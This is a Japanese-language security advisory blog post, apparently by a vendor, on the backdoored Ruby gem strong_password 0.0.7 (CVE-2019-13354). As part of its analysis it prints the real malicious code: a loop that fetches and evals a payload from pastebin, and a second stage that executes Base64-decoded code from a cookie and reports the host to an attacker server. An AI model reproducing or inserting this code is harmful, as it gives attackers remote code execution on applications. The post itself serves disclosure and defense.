Skip to main content

Ruby gem「strong_password」でリモートコード実行が発覚、サプライチェーン攻撃への懸念が高まる

著者
backdoor discovered in Gem

2019年7月7日

0 分で読めます

2019年7月5日、脆弱な依存関係をバンドルしたアプリケーションでリモートコード実行を可能にする、悪意のあるバージョンのRuby gem strong_passwordに関するセキュリティアドバイザリー(CVE-2019-13354)が公開されました。

この脆弱性はすでにデータベースに追加済みです。SnykでRubyプロジェクトを監視している場合は、定期的なアラートを通じてすでに通知されています。まだ通知を受け取っていない場合は、悪意のあるバージョンによってアプリケーションが影響を受けるかどうかを確認するため、プロジェクトをテストすることを強くおすすめします。

現在、strong_passwordの新しいバージョンはリリースされていません。そのため、脆弱性のあるバージョン0.0.7より前のバージョンに、直ちにロールバックすることをおすすめします。

Rubygems.orgのウェブサイトによると、悪意のあるバージョン0.0.7は合計537回ダウンロードされました。

脆弱性について

この脆弱性は、ブログwithatwist.devの運営者によって発見されました。ブログ記事で報告されているように、依存関係をアップグレードする際に日頃から行っている手動レビューを通じて、この問題に気づきました。

公開された各バージョンの変更履歴とソースコードを比較したところ、バージョン0.0.7は前回のリリースから6か月後にRubygems.orgで公開されていた一方、GitHubリポジトリにはソースコードの変更が一切公開されていないことがわかりました。

strong_passwordのバージョン0.0.7に関連するコミットを調べていたとき、次のコードスニペットが目に留まりました。


def _!;
  begin;
    yield;
  rescue Exception;
  end;
end

_!{
  Thread.new {
    loop {
      _!{
        sleep rand * 3333;
        eval(
          Net::HTTP.get(
            URI('https://pastebin.com/raw/xa456PFt')
          )
        )
      }
    }
  } if Rails.env[0] == "p"
}

全容を説明するには、この悪意のあるバージョンが利用するpastebin.comのペイロードも確認する必要があります。


_! {
unless defined?(Z1)
  Rack::Sendfile.prepend Module.new{define_method(:call){|e|
  _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
  super(e)}}
  Z1 = "(:"
end
}

_! {
  Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

2つのスニペットを合わせて見ることで、全容が明らかになります。

  1. 攻撃者は、公開権限を得るためにstrong_passwordの元のメンテナーのアカウントを侵害しました。

  2. 悪意のあるバージョン0.0.7が、最初のペイロードを含んだ状態でRubygems.orgに公開されました。

  3. この悪意のあるバージョンは、アプリケーションが本番環境で実行されていると検知した場合にのみ発動します。さらに、しばらく実行された後、pastebin.comにリクエストを送り、追加のペイロードを取得して実行します。

  4. pastebin.comにある2つ目のペイロードは、Sendfileメソッドを改変し、___idという名前のHTTP_COOKIEの値を取得して実行します。これにより、あらゆるリモートの攻撃者がリモートコマンド実行を行えるようになります。

  5. 最後に、悪意のあるコードは稼働中のアプリケーションのURLを伝えるため、ホームサーバーにもpingを送信します。

ブログの運営者はすぐにこの問題をメンテナーに報告しました。メンテナーは、バージョンの公開を取り消すことも、その他の方法で問題を修正することもできない状態になっていることに気づきました。その後、さらなる対応を求めてRubysecアドバイザリーコミュニティに通知し、悪意のあるバージョン0.0.7の削除とCVEの割り当てにつながりました。

悪意のあるコードの脆弱性とサプライチェーン攻撃

この事例は、わずか3か月前に起きた別のRuby gemsパッケージの事例とよく似ています。

bootstrap-sassでも、攻撃者がRubygems.orgのメンテナーアカウントを侵害し、リモートコード実行のバックドアを仕込んだ悪意のあるバージョンを公開していました。

サプライチェーン攻撃はRubygems.orgだけの問題ではありません。わずか2週間前には、暗号資産ウォレットを標的とする悪意のあるパッケージがnpmで見つかった事例を紹介しました。幸い、どちらの事例でも、コミュニティとnpmおよびrubygemsのセキュリティチームが迅速に対応できました。

CTFを始めよう

オンデマンドのバーチャル入門ワークショップで、CTFチャレンジの解き方を学びましょう。